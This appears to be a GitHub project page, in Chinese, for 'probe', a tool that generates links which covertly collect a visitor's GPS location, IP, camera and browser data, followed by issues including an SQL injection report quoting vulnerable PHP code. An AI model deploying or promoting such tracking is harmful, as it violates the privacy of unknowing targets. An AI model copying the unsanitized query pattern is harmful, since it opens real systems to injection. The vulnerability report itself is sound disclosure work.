hurryby / probe

生成探针获取他人信息

IP探针

生成探针，发送探针获取他人信息。

测试网站

网页版测试网站: https://probe.humorously.cn

如何安装

下载release中的最新版本，解压里面的文件至网站根目录

访问/install.html填入数据库信息进行安装

功能列表

• 可获取GPS,IP,摄像头,浏览器信息
• 支持在线查询
• 可自定义程度高
• 免费开源

介绍

生成探针，发送探针获取他人信息。 当时主要是想着网络上没有什么好用的探针，有的也是年久失修了 然后就突发奇想自己开发一个玩玩，也开发了挺久，希望支持一下！

免责声明

本程序仅对用户使用本软件时因产品自身明显质量缺陷而造成的直接必要损失承担责任。在适用法律允许的最大范围内，对因使用或不能使用本软件所产生的损害及风险，包括但不限于直接或间接的个人损害、商业赢利的丧失、贸易中断、商业信息的丢失或任何其它经济损失，不承担任何责任。禁止非法用途，如造成严重后果作者不负责。如该程序违法，请联系作者

更多

我花费了很多的时间和精力，如果你想让这个项目更新的更快，麻烦点个 Star，谢谢！

最新更新日期 2023/08/20

probe's Issues

#bug

数据库挂了嘛

SQLi vulnerabilities.

/modules/getInformation/gps.php文件中第26行，在获取gps_longitude和gps_location值后直接使用了SQL语句将获得的两个值写入到数据库中，而这两个参数值通过自己构建POST包是可控的，当然可控的变量也包括"key"的值，并且程序没有做任何过滤，从而导致在gps.php文件处存在SQL注入漏洞，这块可以做做过滤。
最后，祝好。 ; )

    // 根据timestamp & key写数据
    $conn = new mysqli($db_host.":".$db_port, $db_user, $db_password, $db_name);
    $sql = "UPDATE `tanzhen_information` SET `gpsaddress` = '$gps_location', `gpsjing` = '$gps_longitude', `gpswei` = '$gps_latitude' WHERE `tanzhen_information`.`timestamp` = '$time' AND `tanzhen_information`.`keyvalue` = '$key';";